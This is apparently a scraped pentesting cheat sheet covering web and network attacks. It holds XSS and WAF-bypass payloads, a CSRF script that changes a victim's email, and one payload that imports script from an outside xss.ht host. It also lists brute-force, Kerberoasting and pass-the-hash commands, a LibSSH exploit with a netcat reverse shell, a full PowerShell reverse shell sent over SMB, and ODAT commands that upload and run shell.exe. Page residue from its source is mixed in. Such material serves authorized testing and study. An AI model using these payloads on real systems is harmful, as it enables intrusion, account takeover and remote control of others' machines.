    data:text/html,<iframe src=javascript:alert(1)>
    <iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
    "><svg onload=alert(1)>
    javascript:alert(document.cookie)
    \"-alert(1)}//
    # Example:
    
    # Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
    
    <script>
    var req = new XMLHttpRequest();
    req.onload = handleResponse;
    req.open('get','/email',true);
    req.send();
    function handleResponse() {
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
        var changeReq = new XMLHttpRequest();
        changeReq.open('post', '/email/change-email', true);
        changeReq.send('csrf='+token+'&[email protected]')
    };
    </script>
    # Removed in AngularJS 1.6
    # Is a way to avoid some strings like window, document or __proto__.
    
    # Without strings:
    /?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
    
    # With CSP:
    
    <script>
    location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
    </script>
    
    # v 1.6 and up
    {{$new.constructor('alert(1)')()}}
    <x ng-app>{{$new.constructor('alert(1)')()}}
    
    {{constructor.constructor('alert(1)')()}}
    {{constructor.constructor('import("https://six2dez.xss.ht")')()}}
    {{$on.constructor('alert(1)')()}}
    {{{}.")));alert(1)//"}}
    {{{}.")));alert(1)//"}}
    toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
    # Inside JS script:
    </script><img src=1 onerror=alert(document.domain)>
    </script><script>alert(1)</script>
    
    # Inside JS literal script:
    '-alert(document.domain)-'
    ';alert(document.domain)//
    '-alert(1)-'
    
    # Inside JS that escape special chars:
    If ';alert(document.domain)// is converted in \';alert(document.domain)//
    Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
    \'-alert(1)//
    
    # Inside JS with some char blocked:
    onerror=alert;throw 1
    /post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
    
    # Inside {}
    ${alert(document.domain)}
    ${alert(1)}
    # Only lowercase block
    <sCRipT>alert(1)</sCRipT>
    
    # Break regex
    <script>%0aalert(1)</script>
    
    # Double encoding
    %2522
    
    # Recursive filters
    <scr<script>ipt>alert(1)</scr</script>ipt>
    
    # Inject anchor tag
    <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">
    
    # Bypass whitespaces
    <svg·onload=alert(1)>
    
    # Change GET to POST request
    
    # Imperva Incapsula
    %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
    <img/src="x"/onerror="[JS-F**K Payload]">
    <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>
    
    # WebKnight
    <details ontoggle=alert(1)>
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    # F5 Big IP
    <body style="height:1000px" onwheel="[DATA]">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
    <body style="height:1000px" onwheel="[JS-F**k Payload]">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
    <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
    
    # Barracuda WAF
    <body style="height:1000px" onwheel="alert(1)">
    <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
    
    # PHP-IDS
    <svg+onload=+"[DATA]"
    <svg+onload=+"aler%25%37%34(1)"
    
    # Mod-Security
    <a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
    1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
    <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
    
    # Quick Defense:
    <input type="search" onsearch="aler\u0074(1)">
    <details ontoggle="aler\u0074(1)">
    
    # Sucuri WAF
    1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
    
    # Akamai
    1%3C/script%3E%3Csvg/onload=prompt(document[domain])%3E
    <SCr%00Ipt>confirm(1)</scR%00ipt>
    # AngularJS
    {{constructor.constructor(alert 1 )()}} 
    Logo

    Ports

    General

    AIO Penetration Testing Methodology - 0DAYsecurity.com

    Port 21 - FTP

    Port 22 - SSH

    • If you have usernames test login with username:username

    • Vulnerable Versions to user enum: <7.7

    Port 23 - Telnet

    Port 25 - SMTP

    Port 43 - Whois

    Port 53 - DNS

    Port 69 - UDP - TFTP

    • Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.

    • Same checks as FTP Port 21.

    Port 79 - Finger

    Port 88 - Kerberos

    Check section

    Port 110 - Pop3

    Port 111 - Rpcbind

    Port 135 - MSRPC

    Some versions are vulnerable.

    Port 139/445 - SMB

    Port 161/162 UDP - SNMP

    Port 389,636 - LDAP

    Check section and this guide

    Port 443 - HTTPS

    Read the actual SSL CERT to:

    • find out potential correct vhost to GET

    • is the clock skewed

    • any names that could be usernames for bruteforce/guessing.

    Port 500 - ISAKMP IKE

    Port 513 - Rlogin

    Port 541 - FortiNet SSLVPN

    Port 1433 - MSSQL

    Port 1521 - Oracle

    Port 2000 - Cisco sccp

    Port 2049 - NFS

    Port 2100 - Oracle XML DB

    Default passwords:

    Port 3306 - MySQL

    Port 3389 - RDP

    Port 5432 - PostgreSQL

    Port 5900 - VNC

    Port 5984 - CouchDB

    Port 5985 - WinRM

    Port 6379 - Redis

    Port 8172 - MsDeploy

    Port 5601/9200

    Port 27017-19/27080/28017 - MongoDB

    Unknown ports

    • amap -d 10.11.1.111 8000

    • netcat: makes connections to ports. Can echo strings or give shells: nc -nv 10.11.1.111 110

    • sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations

    RCE ports

    Logo
    nmap --script ftp-* -p 21 10.11.1.111

    Named pipe

    Description

    Service or process

    Interface identifier

    atsvc

    atsvc interface (Scheduler service)

    mstask.exe

    1ff70682-0a51-30e8-076d-740be8cee98b v1.0

    AudioSrv

    AudioSrv interface (Windows Audio service)

    AudioSrv

    3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0

    browser (ntsvcs alias)

    browser interface (Computer Browser service)

    Browser

    6bffd098-a112-3610-9833-012892020162 v0.0

    cert

    ICertPassage interface (Certificate services)

    certsrv.exe

    91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0

    Ctx_Winstation_API_Service

    winstation_rpc interface

    termsrv.exe

    5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0

    DAV RPC SERVICE

    davclntrpc interface (WebDAV client service)

    WebClient

    c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0

    dnsserver

    DnsServer interface (DNS Server service)

    dns.exe

    50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0

    epmapper

    epmp interface (RPC endpoint mapper)

    RpcSs

    e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0

    eventlog (ntsvcs alias)

    eventlog interface (Eventlog service)

    Eventlog

    82273fdc-e32a-18c3-3f78-827929dc23ea v0.0

    HydraLsPipe

    Terminal Server Licensing

    lserver.exe

    3d267954-eeb7-11d1-b94e-00c04fa3080d v1.0

    InitShutdown

    InitShutdown interface

    winlogon.exe

    894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0

    keysvc

    IKeySvc interface (Cryptographic services)

    CryptSvc

    8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0

    keysvc

    ICertProtect interface (Cryptographic services)

    CryptSvc

    0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0

    locator

    NsiS interface (RPC Locator service)

    locator.exe

    d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0

    llsrpc

    llsrpc interface (Licensing Logging service)

    llssrv.exe

    342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0

    lsarpc (lsass alias)

    lsarpc interface

    lsass.exe

    12345778-1234-abcd-ef00-0123456789ab v0.0

    lsarpc (lsass alias)

    dssetup interface

    lsass.exe

    3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0

    msgsvc (ntsvcs alias)

    msgsvcsend interface (Messenger service)

    messenger

    5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0

    nddeapi

    nddeapi interface (NetDDE service)

    netdde.exe

    2f5f3220-c126-1076-b549-074d078619da v1.2

    netdfs

    netdfs interface (Distributed File System service)

    Dfssvc

    4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0

    netlogon (lsass alias)

    netlogon interface (Net Logon service)

    Netlogon

    12345678-1234-abcd-ef00-01234567cffb v1.0

    ntsvcs

    pnp interface (Plug and Play service)

    PlugPlay

    8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0

    plugplay

    pnp interface (Plug and Play Windows Vista service)

    PlugPlay

    8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0

    policyagent

    PolicyAgent interface (IPSEC Policy Agent (Windows 2000))

    PolicyAgent

    d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5

    ipsec

    winipsec interface (IPsec Services)

    PolicyAgent

    12345678-1234-abcd-ef00-0123456789ab v1.0

    ProfMapApi

    pmapapi interface

    winlogon.exe

    369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0

    protected_storage

    IPStoreProv interface (Protected Storage)

    lsass.exe

    c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0

    ROUTER

    Remote Access

    mprdim.dll

    8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0

    samr (lsass alias)

    samr interface

    lsass.exe

    12345778-1234-abcd-ef00-0123456789ac v1.0

    scerpc

    SceSvc

    services.exe

    93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0

    SECLOGON

    ISeclogon interface (Secondary logon service)

    seclogon

    12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0

    SfcApi

    sfcapi interface (Windows File Protection)

    winlogon.exe

    83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0

    spoolss

    spoolss interface (Spooler service)

    spoolsv.exe

    12345678-1234-abcd-ef00-0123456789ab v1.0

    srvsvc (ntsvcs alias)

    srvsvc interface (Server service)

    services.exe (w2k) or svchost.exe (wxp and w2k3)

    4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0

    ssdpsrv

    ssdpsrv interface (SSDP service)

    ssdpsrv

    4b112204-0e19-11d3-b42b-0000f81feb9f v1.0

    svcctl (ntsvcs alias)

    svcctl interface (Services control manager)

    services.exe

    367aeb81-9844-35f1-ad32-98f038001003 v2.0

    tapsrv

    tapsrv interface (Telephony service)

    Tapisrv

    2f5f6520-ca46-1067-b319-00dd010662da v1.0

    trkwks

    trkwks interface (Distributed Link Tracking Client)

    Trkwks

    300f3532-38cc-11d0-a3f0-0020af6b0add v1.2

    W32TIME (ntsvcs alias)

    w32time interface (Windows Time (Windows 2000 and XP))

    w32time

    8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1

    W32TIME_ALT

    w32time interface (Windows Time (Windows Server 2003, Windows Vista))

    w32time

    8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1

    winlogonrpc

    GetUserToken interface

    winlogon.exe

    a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0

    winreg

    winreg interface (Remote registry service)

    RemoteRegistry

    338cd001-2244-31f1-aaaa-900038001003 v1.0

    winspipe

    winsif interface (WINS service)

    wins.exe

    45f52c28-7f9f-101a-b52b-08002b2efabe v1.0

    wkssvc (ntsvcs alias)

    wkssvc interface (Workstation service)

    services.exe (w2k) or svchost.exe (wxp and w2k3)

    6bffd098-a112-3610-9833-46c3f87e345a v1.0

    Kerberos dedicated
    AD
    LDAP
    Fortinet Ports Guide
    SSL VPN Leak
    https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm
    ELK
    MongoDB

    Azure

    Basic Info

    Traditional AD - Azure AD comparision

    # Enum SSH
    # Get version
    nmap 10.11.1.1 -p22 -sV
    # Get banner
    nc 10.11.1.1 22
    # Get login banner
    ssh [email protected]
    # Get algorythms supporteed
    nmap -p22 10.11.1.1 --script ssh2-enum-algos
    # Check weak keys
    nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
    # Check auth methods
    nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"
    
    # User can ask to execute a command right after authentication before it’s default command or shell is executed
    $ ssh -v [email protected] id
    ...
    Password:
    debug1: Authentication succeeded (keyboard-interactive).
    Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
    debug1: channel 0: new [client-session]
    debug1: Requesting [email protected]
    debug1: Entering interactive session.
    debug1: pledge: network
    debug1: client_input_global_request: rtype [email protected] want_reply 0
    debug1: Sending command: id
    debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
    debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
    uid=1000(user) gid=100(users) groups=100(users)
    debug1: channel 0: free: client-session, nchannels 1
    Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
    Bytes per second: sent 43133.4, received 44349.5
    debug1: Exit status 0
    
    # Check Auth Methods:
    $ ssh -v 10.10.1.111
    OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
    ...
    debug1: Authentications that can continue: publickey,password,keyboard-interactive
    
    # Force Auth Method:
    $ ssh -v 10.10.1.111 -o PreferredAuthentications=password
    ...
    debug1: Next authentication method: password
    
    # BruteForce:
    patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
    hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
    medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
    ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
    
    # LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access 
    # Id
    python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
    # Reverse
    python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"
    
    # SSH FUZZ
    # https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt
    
    # cpan Net::SSH2
    ./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
    
    use auxiliary/fuzzers/ssh/ssh_version_2
    
    # SSH-AUDIT
    # https://github.com/arthepsy/ssh-audit                     
    
    # Enum users < 7.7:
    # https://www.exploit-db.com/exploits/45233
    https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py
    python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
    
    # SSH Leaks:
    https://shhgit.darkport.co.uk/
    
    # SSH bruteforce
    # https://github.com/kitabisa/ssb
    # Get banner
    telnet 10.11.1.110
    # Bruteforce password
    patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt  persistent=0 prompt_re='Username: | Password:'
    nc -nvv 10.11.1.111 25
    HELO foo
    
    telnet 10.11.1.111 25
    VRFY root
    
    nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
    smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111
    
    # SMTP relay
    msfconsole
    use auxiliary/scanner/smtp/smtp_relay
    set RHOSTS <IP or File>
    set MAILFROM <PoC email address>
    set MAILTO <your email address>
    run
    
    # Send email unauth:
    
    MAIL FROM:[email protected]
    RCPT TO:[email protected]
    DATA
    test
    
    .
    
    Receive:
    250 OK
    whois -h 10.10.1.111 -p 43 "domain.com"
    echo "domain.com" | nc -vn 10.10.1.111 43
    whois -h 10.10.1.111 -p 43 "a') or 1=1#"
    # Transfer zone
    
    dig AXFR domain.com @10.10.10.10
    # dig +multi AXFR @ns1.insecuredns.com insecuredns.com
    dnsrecon -t axfr -d domain
    fierce -dns domain.com
    nmap -p69 --script=tftp-enum.nse 10.11.1.111
    nc -vn 10.11.1.111 79
    echo "root" | nc -vn 10.11.1.111 79
    
    # User enumeration
    finger @10.11.1.111       #List users
    finger [email protected]  #Get info of user
    finger [email protected]   #Get info of user
    
    finger "|/bin/[email protected]"
    finger "|/bin/ls -a /@example.com"
    nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
    use auxiliary/gather/kerberos_enumusers # MSF
    
    # Check for Kerberoasting: 
    GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john
    
    # GetUserSPNs
    ASREPRoast:
    impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    
    # Kerberoasting: 
    impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file> 
    
    # Overpass The Hash/Pass The Key (PTK):
    python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
    python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
    python3 getTGT.py <domain_name>/<user_name>:[password]
    
    # Using TGT key to excute remote commands from the following impacket scripts:
    
    python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
    
    # https://www.tarlogic.com/blog/como-funciona-kerberos/
    # https://www.tarlogic.com/blog/como-atacar-kerberos/
    
    python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt
    
    # https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/
    # https://github.com/GhostPack/Rubeus
    # https://github.com/fireeye/SSSDKCMExtractor
    # https://gitlab.com/Zer1t0/cerbero
    telnet 10.11.1.111
    USER [email protected]
    PASS admin
    
    # or:
    
    USER pelle
    PASS admin
    
    # List all emails
    list
    
    # Retrieve email number 5, for example
    retr 9
    rpcinfo -p 10.11.1.111
    rpcclient -U "" 10.11.1.111
        srvinfo
        enumdomusers
        getdompwinfo
        querydominfo
        netshareenum
        netshareenumall
    nmap 10.11.1.111 --script=msrpc-enum
    msf > use exploit/windows/dcerpc/ms03_026_dcom
    
    # Endpoint Mapper Service Discovery
    use auxiliary/scanner/dcerpc/endpoint_mapper
    
    #Hidden DCERPC Service Discovery
    use auxiliary/scanner/dcerpc/hidden
    
    # Remote Management Interface Discovery
    use auxiliary/scanner/dcerpc/management
    
    # DCERPC TCP Service Auditor
    use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
    
    impacket-rpcdump
    
    # Enum network interface
    # https://github.com/mubix/IOXIDResolver
    # Enum hostname
    enum4linux -n 10.11.1.111
    nmblookup -A 10.11.1.111
    nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111
    
    # Get Version
    smbver.sh 10.11.1.111
    Msfconsole;use scanner/smb/smb_version
    ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' 
    smbclient -L \\\\10.11.1.111
    
    # Get Shares
    smbmap -H  10.11.1.111 -R 
    echo exit | smbclient -L \\\\10.11.1.111
    smbclient \\\\10.11.1.111\\
    smbclient -L //10.11.1.111 -N
    nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
    smbclient -L \\\\10.11.1.111\\
    # If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED"
    smbclient -L //10.11.1.111/ --option='client min protocol=NT1'
    
    # Check null sessions
    smbmap -H 10.11.1.111
    rpcclient -U "" -N 10.11.1.111
    smbclient //10.11.1.111/IPC$ -N
    
    # Exploit null sessions
    enum -s 10.11.1.111
    enum -U 10.11.1.111
    enum -P 10.11.1.111
    enum4linux -a 10.11.1.111
    #https://github.com/cddmp/enum4linux-ng/
    enum4linux-ng.py 10.11.1.111 -A -C
    /usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111
    
    # Connect to username shares
    smbclient //10.11.1.111/share -U username
    
    # Connect to share anonymously
    smbclient \\\\10.11.1.111\\
    smbclient //10.11.1.111/
    smbclient //10.11.1.111/
    smbclient //10.11.1.111/<""share name"">
    rpcclient -U " " 10.11.1.111
    rpcclient -U " " -N 10.11.1.111
    
    # Check vulns
    nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111
    
    # Multi exploits
    msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run
    
    # Bruteforce login
    medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt 
    nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111  -vvvv
    nmap –script smb-brute 10.11.1.111
    
    # nmap smb enum & vuln 
    nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
    nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111
    
    # Mount smb volume linux
    mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
    
    # rpcclient commands
    rpcclient -U "" 10.11.1.111
        srvinfo
        enumdomusers
        getdompwinfo
        querydominfo
        netshareenum
        netshareenumall
    
    # Run cmd over smb from linux
    winexe -U username //10.11.1.111 "cmd.exe" --system
    
    # smbmap
    smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
    smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
    smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
    smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell
    
    # Check
    \Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt "
    
    # CrackMapExec
    crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
    crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa
    
    # Impacket
    python3 samdump.py SMB 172.21.0.0
    
    # Check for systems with SMB Signing not enabled
    python3 RunFinger.py -i 172.21.0.0/24
    nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
    nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
    snmp-check 10.11.1.111 -c public|private|community
    snmpwalk -c public -v1 ipaddress 1
    snmpwalk -c private -v1 ipaddress 1
    snmpwalk -c manager -v1 ipaddress 1
    onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X
    
    # Impacket
    python3 samdump.py SNMP 172.21.0.0 
    
    # MSF aux modules
     auxiliary/scanner/misc/oki_scanner                                    
     auxiliary/scanner/snmp/aix_version                                   
     auxiliary/scanner/snmp/arris_dg950                                   
     auxiliary/scanner/snmp/brocade_enumhash                               
     auxiliary/scanner/snmp/cisco_config_tftp                               
     auxiliary/scanner/snmp/cisco_upload_file                              
     auxiliary/scanner/snmp/cnpilot_r_snmp_loot                             
     auxiliary/scanner/snmp/epmp1000_snmp_loot                             
     auxiliary/scanner/snmp/netopia_enum                                    
     auxiliary/scanner/snmp/sbg6580_enum                                 
     auxiliary/scanner/snmp/snmp_enum                                 
     auxiliary/scanner/snmp/snmp_enum_hp_laserjet                           
     auxiliary/scanner/snmp/snmp_enumshares                                
     auxiliary/scanner/snmp/snmp_enumusers                                 
     auxiliary/scanner/snmp/snmp_login
    jxplorer
    ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
    python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
    cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
    # Check # https://github.com/ropnop/go-windapsearch
    ./testssl.sh -e -E -f -p  -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
    # Check for mod_ssl,OpenSSL version Openfuck
    ike-scan 10.11.1.111
    apt install rsh-client
    rlogin -l root 10.11.1.111
    nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
    use auxiliary/scanner/mssql/mssql_ping
    use auxiliary/scanner/mssql/mssql_login
    use exploit/windows/mssql/mssql_payload
    sqsh -S 10.11.1.111 -U sa
        xp_cmdshell 'date'
          go
    
    
    EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'
    
    https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
    oscanner -s 10.11.1.111 -P 1521
    tnscmd10g version -h 10.11.1.111
    tnscmd10g status -h 10.11.1.111
    nmap -p 1521 -A 10.11.1.111
    nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
    MSF: good modules under auxiliary/admin/oracle and scanner/oracle
    
    # https://github.com/quentinhardy/odat
    ./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
    ./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
    ./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE
    
    # Upload reverse shell with ODAT:
    ./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe
    
    # and run it:
    ./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
    # cisco-audit-tool
    CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt 
    
    # cisco-smart-install
    https://github.com/Sab0tag3d/SIET/
    sudo python siet.py -g -i 192.168.0.1
    nmap -p 111,2049 --script nfs-ls,nfs-showmount
    
    showmount -e 10.11.1.111
    
    # If you find anything you can mount it like this:
    
    mount 10.11.1.111:/ /tmp/NFS –o nolock
    mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock
    nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306
    
    mysql --host=10.11.1.111 -u root -p
    
    # MYSQL UDF 4.x/5.0
    https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
    nmap -p 3389 --script=rdp-vuln-ms12-020.nse
